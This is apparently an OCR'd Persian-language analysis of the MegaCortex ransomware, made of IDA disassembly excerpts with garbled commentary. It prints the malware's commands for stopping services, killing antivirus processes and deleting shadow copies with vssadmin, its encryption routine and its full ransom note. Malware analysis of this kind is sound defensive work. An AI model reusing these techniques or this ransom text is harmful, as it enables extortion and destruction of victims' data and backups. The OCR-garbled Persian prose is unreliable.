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.text:10d4CB6D D11EntryPoint proc near
hinstDLL = dword ptr 8
fdwReason = dword ptr BCh
1pReserved = dword ptr 18h
push ebp
mowy ebp, esp
cnp [ebp+fduwReason], 1
jnz short loc_ 1084CB7B
call sub_1884D376
loc_1084CB7E: ; CODE XREF:
push [ebp+1pReserved]
push [ebp+fduReason]
push [ebp+hinstDLL]
call sub_1884CA3C
add esp, HCh
pop ebp
retn BCh
D11EntryPoint  endp

D1lEntryPoint+7Tj

J|)§‘CLf Sl sty Sla s o 03l aL<;L; & e iwd Ol OpenSCManager @U 3 eslawsl b

push
mov
push
push
mov
push
sub
push
push
push
mov
®or
push
lea
mov
lea
call
push
push
push
mov
call
mov
cmp
jnz

ebp

ebp, esp

BFFFFFFFFh

offset sub_186885DEA
eax, large fs:@

eax
esp,
ebx
esi
edi
eax,  security cookie
eax, ebp

eax

eax, [ebp+var C]

large fs:8, eax

ecy, [ebp+var 58]
sub_1882BF18

4Ch

BFBA3Fh ; duwDesiredAccess
a ; lphatabaseHame
8 ; lpMachineHame

[ebp+uvar 4], B
ds:0OpensSCHanagerA
ebx, eax

ebx, BFFFFFFFFh

short loc_1882C456

2y g A

Syd oag W oy e ol 51 e J EnumServicesStatusExA U5l ealanal b ¢y
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mow
lea

push
push
push
lea

push
push
push
push
push
push
push
call
lea

push
push
lea

call
mow

lea

push
push
push
lea

mouv

push
push
push
push
push
push
push
call
cmp

mow

jbe

loc_1002C456:

esi, ds:EnumServicesStatusExn
eax, [ebp+ServicesReturned]

a ; pszGroupHame

a ; 1pResumeHandle
eax ; 1lpServicesReturned
eax, [ebp+pcbBytesHeeded]

eax ; pcbBytesHeeded
a ; chBufSize

a ; 1pServices

3 ; dwServiceState
368h ; duServiceType
a : InfolLevel

ebz ; h3CHanager

’
esi ; EnumServicesStatusExA
eax, [ebp+var D]
eax
[ebp+pcbBytesHeeded]
ecx, [ebp+lpServices]
sub_1882BFA@
edi, [ebp+1pServices]
eax, [ebp+ServicesReturned]

a ; pszGroupHame
a ; lpResumeHandle
eax ; 1pServicesReturned

eax, [ebp+pcbBytesHeeded]
byte ptr [ebp+uar_u], 1

eax ; pcbBytesHeeded
[ebp+pchbBytesHeeded] ; chBufSize
edi ; 1lpServices
2 ; dwServiceState
38h ; dwServiceType
a ; InfolLevel
ebx ; h3CHanager

esi ; EnumServicesstatusExA
[ebp+ServicesReturned], 8
[ebp+uvar_1cC], @

chort loc_1882C513

U'l‘ )\ aalazal cle JJSLSA CJ)M Lf’L'J'; L}ALCW Q)JJ )bﬁ‘cl.: J’lb g:,..:jl;d LS‘JJJ\ BE Ju..ajjﬁ U':‘

.L::bu,a Lﬁw‘)rﬂj‘ S3ldas 05 gas waﬁ_o é\jﬁ J.al.ow 093 L;Lawjﬂgw);.mj.xibé

mou
mau
mou
mau
mnou
mau
mnou
mov
mnou
mov
mnou
mov
mnou
mov
mnou
mov
mou
mov
mou
mov
mou
mov
mou
mou
lea
mou
mau
mou
mau

[ebp+uar_7C], 8Dh
[ebp+uar 78], offset
[ebp+uar_7u4], 6
[ebp+uar 78], offset
[ebp+uar_&C], 8Dh
[ebp+uvar 68], offset
[ebp+uar_64], 8Dh
[ebp+var _68], offset
[ebp+uar_5C], BEBh
[ebp+var 58], offset
[ebp+uar_54], 19h
[ebp+var 58], offset
[ebp+uar_uc], 1Ch
[ebp+uvar_48], offset
[ebp+uar_u44], 8Dh
[ebp+var_48], offset
[ebp+uar_3C], ®Fh
[ebp+var_38], offset
[ebp+uar_3u], 7
[ebp+var_38], offset
[ebp+uar_2c], 7
[ebp+uvar_28], offset
[ebp+uar_24], ©
[ebp+uar_28], offset
eax, [ebp+var 8F8]
[ebp+uar_1cC], &
[ebp+uar 18], offset
[ebp+uar_14], 5
[ebp+hHodule], eax

Ao aga Il 0 0555 oS
aMetsvc ; ""HetSuvc™

asqlagentMet? ; "SQlLAgentiHET2"

aTpautoconnsvc ; “tpautoconnsuc®

aTpvcgateway ; “TPUCGateway™

aUmwarecafcomma ; “"UMwareCAFCommAmgplListener™
aUmwarecafmanag ; “'UMwareCAFManagementAgentHost™
aTpautoconnsy_8 ; “TPAutoConnsuc™
aAdobearmservic ; "AdobeARHseruice™

aRscdsvc ; “RESCDsuc™
aLrsdrvx ; “LRSDRUX™

alsusmon?8 ; "msusmon9@T

aldrivert ; “IDriverT"

alsmg ; “MSHI]
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0 bogye S s e LT o 53 5 gd Sl 5 (B gte Ll 3 s Sygo 534S 3L b s e

W‘aM@‘Fstde)bjijoMubmw)ﬂ@@lﬂﬂd}ﬂéuw)ﬁ)&‘jfj

JLx_‘) Lgl.bwjjﬁu (swﬁ‘))jlwsgiasm‘}))v\ﬁj Qujﬁbjzap-:)b net.exe J‘J”\ L;\J}H.,\J\;,\«S

net stop "Serveice_Name" /y

J\Jj.«;'L;G ;93‘5:.& “Z,.W.:J L'ﬁ\): S 9 9o

L J
FIZ=
push L
push offset a¥ HE S T
lea ecx, [ebptuar 6368]
mov [ebp+var_635g], @
mou [ebp+uar_6354], @Fh
mou byte ptr [ebp+var 6368], B
call sub_1861C328
push Bih
push offset aHetStop ;I"net stop \""I
lea ecx, [ebp+lpHen]
mou byte ptr [ebp+var 4], @Ch
mov [ebp+var_63un], @
mou [ebp+uar_633C], OFh
mov byte ptr [ebp+lpHen], @
call sub_1881C328
cmp [ebp+uar_636C], 10h
lea eax, [ebp+var_63ga]
push [ebp+uar_6378]
cmovnb eax, dword ptr [ebp+var 6380]
lea ecx, [ebp+lpHen]
push eax
mov byte ptr [ebp+var_ 4], @Dh
call sub_1861BE18
mou dword ptr [ebp+var 6310], O
mov dword ptr [ebpsvar_6318+4], 8
mouvups xmmf, xmmword ptr [eax]
movups =mmword ptr [ebp+var 6328], xnmo
mouq xmn@, quord ptr [eax+18h]
moug [ebp+var 6318], xmm@
mov dword ptr [eax+18h], 0
mou dword ptr [eax+14h], OFh
mov byte ptr [eax], @
push 8
push offset aHet exe ;
lea ecx, [ebp+var_ 63088

RSTEY) _L;JJS& Obe,b Lot lams 3 sc config " s {sl.;" start= disabled .3 > L ¢ en

Sy Jles & sc.exe
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il e 5
push 18h ; int
lea eax, [ebp+var 6388]
push offset aStartDisabled ;|4 start=disabled"
push eax ; int
call sub_1882C178@
nouw [ebp+uar_63A8], eax
push 8Bh ; int
lea eax, [ebp+var_632a]
mov byte ptr [ebp+var 41, 14h
push offset aScConfig ; ['sc config v*|
push eax ; Int
call sub_1882C178
lea ec®, [ebp+HultiBytestr]
moy byte ptr [ebp+var_A4], 15h
push ecx ; int
push eax ; int
lea eax, [ebp+applicationMame]
push eax ; int
call sub_1882BABA
mou edi, eax
push K ; char
lea eax, [ebp+var 6368]
moy byte ptr [ebp+uvar il
push offset aSc_exe ;|"\\sc.exe'|
push Pax ; 1nt
call sub_1882c178@
mou esi, eax
mou byte ptr [ebp+uar_A4], 17h
call sub 18828848
push eax ; int
lea eax, [ebp+var 6380]
EnumProcesses proc near ; CODE XREF: sub_1882C7708+69Tp
lpidProcess = dword ptr 4
ch = dword pty 8
lpcbHeeded = dword ptr BCh
jmp ds: imp_ EnumProcesses
EnumProcesses endp
J;b;u.o C,..,wﬁjﬂ; ol c)u‘ L;LAJ..\..{\JB L .]aj;f S&LAJJJD (SL«: LW
EnumProcessModules proc near : CODE XREF: sub_1882CF7@+F8Tp
hProcess = dword ptr &
1phHModule = dword ptr 8
ch = dword ptr HCh
lpcbHeeded = dword ptr 18h

jmp ds:  imp EnumProcessHModules
EnumProcessModules endp
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Ach
offset
BBh
offset
BBh
offset
Ach
offset
Ach
offset
anh
offset
BBh
offset
aAh
offset

[ebp+uar_ 84],
[ebp+uvar_806],
[ebp+uvar_7C],
[ebp+uvar_ 78],
[ebp+uvar 74],
[ebp+var 78],
[ebp+uvar 6C],
[ebp+uvar 68],
[ebp+var 64],
[ebp+var 68],
[ebp+var 5C],
[ebp+var 58],
[ebp+var 54],
[ebp+var 58],
[ebp+uvar_ ac],
[ebp+uar 48],
[ebp+var 44], BCh
[ebp+var 48], offset
[ebp+var_3C], 9
[ebp+uvar 38], offset
[ebp+var 34], BEh
[ebp+uvar 38], offset
[ebp+var_2c], Bah
[ebp+uvar 28], offset
[ebp+var 24], 9
[ebp+var 28], offset
[ebp+var_1C], @Dh
[ebp+var 18], offset
[ebp+var_14], BCh
[ebp+hHodule], eax

aMsascui_exe ; "msascui.exe”

aMsmpeng_exe ; ‘'msmpeng.exe’
aMspmspsy_exe ; “mspmspsu.exe’
aKbB891711_exe ; “kbE91711.exe”
aZavaux_exe ; “"zavaux.exe"
aZavcore_exe ; 'zavcore.exe’
aZillya exe ; “zillya.exe"
aZlclient exe ; "zlclient.exe"

alsmon_exe ; "'usmon.exe’

.xbjngQ}u

aForcefield exe ; "forcefield._exe”

alsumgr_exe ; “isuwmgr.exe"

aZapro_exe ; "zapro.exe"

aZonealarm_exe ; "zonealarm.exe"

aMantispm_exe ; "mantispm.exe"

ol iy pas JolS Cend 3l e Bl IS s edd iy s gladol 3 5l isy 4 b s VU s

S sl 3N @S @ byse pdnl S s s Oszmen & il RT3 VNV s

L o B gte p3 s gl bladnl p pl les ajls 13 cnd pl s alid e
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wislale Ubl g gl el

PP

push
push
lea
mov
mouv
mou
call
push
push
lea
mouv
mou
mov
mouv
call
cmp
lea
push
cmovnb
mov
push
lea
call
mouv
mov
movups
movups
movqg
movq
mouv
mov
mov
push
push
lea

n
offset asc_1@BBE7B8 ; "\ /f"
ecx, [ebp+var_o63gn]
[ebp+var 6378], 8
[ebp+var 636C], @Fh
[ebp+var_6380], O
sub_1881C328

BEh

offset aTaskkilllIm ;I"taskkill Fim e
ecx, [ebp+lpHem]
byte ptr [ebp+uar 4], 4
[ebp+var_6348], 0

[ebp+var 623C], OFh

byte ptr [ebp+lpHem], B
sub_1881C328

[ebp+var 62F4], 16h

eax, [ebp+var_63838]
[ebp+var_62F8]

eax, edi

byte ptr [ebp+var 4], 5

eax

ecx, [ebp+lpHem]

sub_1881BE18

duword ptr [ebp+var_6310], 8
duword ptr [ebp+var 6318+4], B
xmmnA, xmmword ptr [eax]

xmmword ptr [ebp+var_6320], xmmo
xmn@, quord ptr [eax+18h]
[ebp+var 6318], xmm@

duord ptr [eax+16h], B

dword ptr [eax+14h], OFh

byte ptr [eax], @

abh

offset aTaskkill_exe ;|"‘itaskkill _exe"
ecx, [ebp+var 6368]

Sl JL’JSV.:M,M): Clle ganlsl g e s )\J-_fa\GL: )lse pl O ged b o 5 B85 L
J=1e Gl L Ol san 555 Cllad gars il 5IBIEL pl (o LAl Ly Jdos oo &8 ) shilea

A g a by e 5 dS anked S e sl C glys e 55 50 1y x0000KKXXX.J0g S 5L L sds S5

loc_186862925:

Al e b6 ol

; CODE XREF: sub_180026C0+285Tj
test al, &4
jnz loc_18882DCF
or eax, 4 |
mou dword_188AF9DY, eax
push 11h
| push offset aCFs8z3ouvSqgh_lo ; "CivWFsB8z3ouSGa.log™ |
Tea ecx, [ebp+lpHem]
mou byte ptr [ebp+var 4], 4
nowv [ebp+var 18], @
mouv [ebp+uvar_14], BOFh
mou byte ptr [ebp+lpHen], @
call sub_1881C328
lea eax, [ebp+lpHen]
mou byte ptr [ebp+var 4], &
push eax ; 1pMultiByteStr
lea eax, [ebp+WideCharstr]
push eax ; lpWideCharStr
call sub_1082B8BA
add esp, B
cmp dword ptr [eax+14h], 8
moy ecx, [eax+10h]
mou byte ptr [ebp+var 4], 6
jh short loc_18882988
mou eax, [eax]



Il le bl 3t
wislale Ubl g gl el
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¥

eax, [eax+eax*2]

ebx

ecx, [ebp+Hewstate . Privileges]
eax, [ecx+eax=h]

dword ptr [eax+g8], 2

eax ; lpLuid
esi ; lpHame
a ; 1lpSystemHame

ds:LookupPrivilegeUaluen
eax, eax
short loc_1481EAB1

il s

push
push
push
call
add

push
call
add

mou

call
push
mou

call
push
call

offset unk_10880897FC
esi

offset dword_188B21F8
sub_10881BDA

esp, 8

eax

sub_10881BDA

esp, 8

esi, eax
ds:__imp_GetLastError
eax

ecx, esi

sub_188117F8

eax

sub_108846718

|add ESPT L I

T

loc_1881EAB1:

add edi
cmp edi

» U

» offset aSedebugprivile ; “SeDebugPrivilege”

jnz short loc 1861E9A8

lea eax, [ebp+
push eax

lea eax, [ebp+
push eax

push 34h

push eax

push a

push [ebp+Token
call ds:-AdjustT
test eax, eax
jz short loc_

ReturnLength]

;: ReturnLength
HewState]

: PreviousState
BufferLength
Hewstate
; DisablefnllPrivileges
Handle] ; TokenHandle
okenPrivileges

1881EA3A

g o Jolopios S8l 5 2L3L «s SOl ( phias e ol b e

Vo
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wislale Ubl g gl el

S5eDebugPrivilege
SeBackupPrivilege

SeRestorePrivilege

S5eTakelwnershipPrivilege

S S50 G s as o S 58 J"’b(""""i‘” VSS (sLas vssadmin.exe .x;;L_é Gk Sl sses sl L
335 5y I b asy Cows 31 eS|

alssadminDelete db 'vssadmin delete shadows fall ffor=",8
; DATA XREF: 5uh_1332952ﬂ+0310

align &4
allssadmin_exe db '‘\ussadmin.exe®,8 ; DATA XREF: sub_18829528+64T0

Sy s &JJT@? SUB s 51 Sl ol el (b 51

.text:18081088 sub_1068010080 proc near s DATA XREF: .rdata:188882F4)o
.text:10086106808

text:18881888 SystemInfo = _SYSTEW_INFD ptr -24h

.text:1808618088

.text:1006681080848 push ebp

.text:100810M1 mov ebp, esp

.text:-100610683 sub esp, 2hh

.text:100881086 lea eax, [ebp+Systeminfo]

.text:100610889 push eax s 1pSystemInfo

.text:10008100A call ds:GetSysteminfo

text-10881018 mou eax, [ehp+SystemInFu.dwnllucatiunﬁranularity]
text:-10881613 mow dword 188AF958, eax

.text:100681618 mov esp, ebp

text:1008101A pop ebp

.text:1008101B retn

.text:18068161E sub_ 18881080 endp

-text:10668181B

.text:18801628 sub_186801828 proc near ; DATA XREF: .rdata:188882F8Jo0
-text:1686810628

-text:188816828 SystemInfo = _SYSTEW_INFO ptr -2hh

-text:10861020

.text:180810628 push ebp

text:18861621 mov ebp, esp

text:108081823 sub esp, 24h

.text:1800810826 lea eax, [ebp+SystemlInfo]

-text:100861029 push eax ; 1pSystemInfo
-text:18001062A call ds:Get3ystemInfo

text:1808810830 nou eax, [ehp+SystemInFu.dwNumDerDFPrucessurs]
-text:188810833 nou dword_180AF954, eax

.text:180010638 mov esp, ebp

-text:180810623A pop ebp

.text:180610638 retn

.text:18061638B sub_ 186881828 endp

-text:10868103B

WCPU @ jafjo o CJ[{)) ol ‘;eLo.S aS J.A.ﬁcjn olis Yb C‘j: BE ol ealeul L;Lﬁjlﬂbb

3y e s el 3lans CPU ¢ 55 Juls oSl ol ol L 3

3 g h )'LéT L;"L.ﬁ o 02 L‘“Jﬂu’ LS)‘KJ"‘J ol 3l RS s S L9y
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sbb eax, eax
and pax, BCX
mou [ebp+uar_14C], eax
1lea eax, [ebp+FindFileDatal]
push edi
push eax
call sub_188463BF B8
add esp, BCh
lea eax, [ebp+FindFileDatal]
push edi ; duvAdditionalFlags
push edi ; 1pSearchFilter
push edi ; FSearchip
push eax ; 1pFindFileData
push edi : fInfolLevelld
push ebx ; 1pFileName
call ds:FindFirstFileExn
mou esi, eax
mou eax, [ebp+var 148]
cmp esi, BFFFFFFFFh
jnz short loc_1887BC99
loc_10887BC99:
now ecx, [eax+h]
sub ecx, [eax]
=ar ecx, 2
now [ebp+var_158], ecx
[l el 5=
loc_10887BCA7:
cmp [ebp+var_118], 2Eh
jnz short loc_1887BCCE

g g OIS a5 5 dils 13 Bl Ak S s 5 sla LU

o e s L cxw =

mov [ebp+var_CB8], offset a_dll ; ".d1l”

mou [ebp+var_BC], &4

mov [ebp+var_ B8], offset a_exe ; ".exe”

mou [ebp+var_Bu], 4

mou [ebp+var_ B8], offset a_sys ; ".sys”

mou [ebp+var_ac], &4

mov [ebp+var_a8], offset a_mui ; ".mui”

mou [ebp+var_au], &4

mou [ebp+var_aB], offset a_tmp ; ".tmp”

mou [ebp+var_9c], &

mov [ebp+var_ 98], offset a_lnk ; ".lnk"

mou [ebp+var_94], &

mou [ebp+var_98], offset a_config ; “.config”

mou [ebp+var_8cC], 7

mov [ebp+var_88], offset a_manifest ; ".manifest”

mou [ebp+var_8u], 9

mov [ebp+var_88], offset a_tlb ; ".tlb"

mou [ebp+var_7cC], &

mov [ebp+var_ 78], offset a_olb ; ".olb™

mou [ebp+var_7u], &

mov [ebp+var_78], offset a_blf ; ".blf"

mou [ebp+var_&C], &4

mov [ebp+var_&8], offset a_ico ; ".ico”

mou [ebp+var_6u], &4

mov [ebp+var_&B8], offset a_regtranshs ; " _regtrans-ms"
mou [ebp+var_5C], BCh

mou [Ehp+uar_58], offset a_devicemetadat ; ".devicemetadata-ms"
mou [ebp+var_5u], 12h

mov [ebp+var_ 58], offset a_settingconten ; " _settingcontent-ms”
mnn lshn+uar arl  49h

\V
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QT@\,}GQ pliy 53 &S 3 2 0 0 355 (S 50, 21,5 ;s RSA S AES w8 53 a5l oIzt el

Q)M)bdé)b‘éurle.,\,1-a)LJ-‘r%w\é‘wm&)‘ﬁ&MJJ}@\@M@)M‘J:;

An3gr DL ) 3d 50l s 55 Sl 4051308 0550 NS a5 il 3 0 IO

ol e =

push

jmp

offset afesInvalidKeyL ; "AES - Invalid key length™

loc_1883D5F3

push
push
push
call
mou
add

offset aRsakeyFailedTo ; "RSA - Key failed to pass the validity c'...

edi
esi

off_18BACHGH

ecx, [ebp+arg 8]

esp, BCh

'

[l s [

loc_1883D25E:

cmp ecx, 4286h

jnz short loc_1883D279

'R

edi
esi

offset aRsaThePuhlicHeI; "RSA - The public key operation failed”

off_18BACAGD
ecx, [ebp+arg_8]

esp, BCh

Sl 0l eslaiul 5 cipher.exe (394 5 J;JJA e b o s llee s

call
push
lea
push
call
add
push
push
mou
mou
call
mou
mou
movups
movups
movg
movg
nov
nov
nov
sub
nov
mov
mov
mov
lea
mou
push
push
call
sub
mou
mou
mou
mou
push
push

————

sub_1062E840

eax ; lpWideCharstr

eax, [ebp+HultiBytestr]

eax ; 1pHultiByteStr
sub_1882B928

esp, 8

BBh ; int

offset aCipher_exe ; r\\cipher-exe"l
ecx, eax

byte ptr [ebp+var 4], 6
sub_1861BE18

dword ptr [ebp+var_-18], @O
dword ptr [ebp+var_ 18+4], 0O
=mnfA, xmmword ptr [eax]
=mnuord ptr [ebp+aApplicationMame], xmmo
=mmB, quord ptr [eax+16h]
[ebp+var_ 18], xmm8

dword ptr [eax+10n], ©
dword ptr [eax+14h], OFh
byte ptr [eax], o

esp, 28h

eax, esp

[ebp+var_66], esp

dword ptr [eax], offset off_16868A180C
[eax+24h], eax

eax, [ebp+lpHem]

byte ptr [ebp+var_u], 8

edi ; int

eax ; int
sub_18682E9208

esp, 168h

byte ptr [ebp+var 4], 9
esi, esp

ecx, eax

[ebp+var_5c], esi

BBh

offset acipheru ;

YA
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lab plas JUl b Jas cpl S oo el o 55 a4 plBl o Gl (sla B e 33k b 25 sl

| Administrator: C:\Wing

HC:\Windows\system32>cipher.exe /?
or alters the encryption of directories [files] on NIFS partitions.

iDisplays
CIPHER

CIPHER
CIPHER
CIPHER
CIPHER
CIPHER
CIPHER
CIPHER

CIPHER
CIPHER

[/E |

/K [/ECC:256138415211
/R:filename [/SMARTCARD] [/ECC:2561384:15211
/U0 [/N]

ZW:directory

/8L[:efsfilel] [filenamel

7Y

/ADDUSER [/CERTHASH:hash | /CERTFILE:filename | /USER:usernamel
[/S:directoryl [/B]1 [/H] [pathname [...1]

/FLUSHCACHE [/SERUVER:servernamel
+/REMOUEUSER /CERTHASH:hash

/D 1 /C1
[/S:directoryl [/B] [/H] [pathname [...1]

b)L»L;o USM J:.G b LGJ.:LQ Lﬁ"bu)b ol w};)b LSL&J.;U .]a.sz L..iw.LJ

Jijpéﬁ BE chlefjw) j\ o Lﬁc}iu LSL@Z‘ k{o.Li 4§L¢5‘.vawi ¢ﬂ§%bmﬁ 9 LSA‘j;;Cib ct%i e j\ L;i;%{

a_megacBrtx:

el o dalie LB 35

unicode @, |<{.megacBrtx>} B

align 18h
alfYouAreReadin db

AAh
'If you are reading this text, it means, we',27h,'ve hacked your corp’
'‘orate network.®,8Ah

'How all your data is encrypted with very serious and powerful alg'
‘orithms (AESZ56 and RSA-4,896).°,8Ah

‘These algorithms now in use in military intelligence, HSA and CIA®

' .t ,8ah

'Ho one can help you to restore your data without our special deci’
'pherer." ,8Ah

‘Don’,27h,'t even waste your time.',B8Ah

jaah

'But there are good news for you.',BAh

‘We don®,27h,'t want to do any damage to your business.',8fh

'We are working for profit.',B8ah

19nh

‘The core of this criminal business is to give back your valuable
‘data in the original form (for ransom of course).',B8fh

jaah

'‘In order to prove that we can restore all your data, we®,27h,'11 dec’
'rypt 3 of your files for free.',BRh

‘Please, attach 2-3 encrypted files to your first letter.®,8ah

'Each file must be less than 5 Hb, non-archived and your files sho'
‘uld not contain valuable information’,BAh

‘(databases, backups, large word files or excel sheets, etc.).',8ah
'You will receive decrypted samples and our conditions how to get '
‘the decipherer.",8ah

janh

'For the fastest solution of the problem, please, write immediatel’

‘y in your Ffirst letter:',BAh

‘the name of your company,',BAh

‘the domain name of your corporate network and',B8Ah

'the URL of your corporate website', 8fh
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i | |intro.mpd.bin - X “"[ | |intro.mp4.megaclrbebin x]

00000000 | 00 01 02 03 04 05 06 07 08 09 Oa UT‘ 00000000 | 00 01 02 03 04 05 06 07 08 09 Oa U]T'
oooooooo | [B@l oo oo 14 66 74 73 70 69 73 6f 6| | | oooooooo | [BMloc 3f 3= fe 9 ab a7  3b 8e ed 2] |
00000010 6d 70 34 31 00 00 00 OB &6 72 65 & 00000010 38 fe 51 a7 &2 lc Bf 38 cO 55 b5 4
00000020 ed 64 &1 74 00 00 0O OO OO OO ©OC O 00000020 85 ¢3 £7 07 &7 cc 04 db £4 31 14 &
00000030 13 00 00 01 b5 &% 13 00 00 01 02 0O 00000030 d7 fe 47 e5 df la 2f 72 80 bS5 e2 3
00000040 44 88 ba 98 60 fa 65 00 &b 42 8Bc 7 00000040 d7 la 94 fe 72 bc e8 34 34 45 be c
00000050 20 49 6e 74 &5 6Cc 28 52 29 20 44 5 00000050 20 48 80 el 9a b3 d4 54 4d c2 32 &
00000060 20 65 6 63 6f 64 65 72 20 &2 81 7 00000060 cd 94 06 23 ed e4d 60 d3 3c 10 35 &
00000070 ge 20 49 6e 74 €5 6c 28 52 29 20 4 00000070 5 d0 12 bc 4f 7d e8 de 49 3a ac i
00000080 2e 31 20 62 75 6% 6c 64 20 31 33 3 00000080 Tb 7d 29 30 bb b7 59 02 b3 25 29 &
00000080 36 2e 31 2e 31 33 37 2e 37 38 33 5 00000090 85 a2 ee ae a7 63 £3 Ta el 1d 02 &
000000&0 10 00 18 24 &0 90 6d fo  &d b7 £1 b T | 000000a0 ce Oc ce 41 eb 41 9d b &0 &7 4c L7
4 | 11 | r < | m | r
File Comparison

GE e IRERCIR I

Type Offset (Source) Offset (Dest) Size
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